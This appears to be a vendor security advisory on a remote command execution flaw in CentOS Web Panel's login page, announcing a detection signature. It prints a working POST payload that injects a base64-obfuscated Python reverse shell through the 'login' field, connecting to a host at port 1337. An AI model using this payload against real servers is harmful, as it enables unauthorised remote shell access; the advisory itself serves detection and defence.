Application Details
CentOS Web Panel (CWP) is a free web hosting control panel that offers easy management of multiple servers, (both Dedicated and VPS), without the need to access the server through SSH.
Vulnerability
Centos Web Panel could allow a remote attacker to execute arbitrary commands on the system, caused by an issue in the /login/index.php component.
Identification
By sending a specially crafted request, an attacker could exploit this vulnerability to execute arbitrary commands on the system.
POST /login/index.php?
PAYLOAD -
login=$(echo${IFS}cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTMuMzcuMTEiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJzaCIpJyAg${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash)
Detection
By turning this into a traffic file and matching rule, we are able to detect attempts to execute arbitrary commands on the local file access.
Coverage
Idappcom have created signature 8023435 along with a traffic file for this vulnerability.
References
Traffic IQ
If you are concerned that your business may be at risk of this vulnerability or others why not try out our Traffic IQ software which can scan your defences and report any issues. Learn more here: https://www.idappcom.co.uk/traffic-iq-professional
Comentarios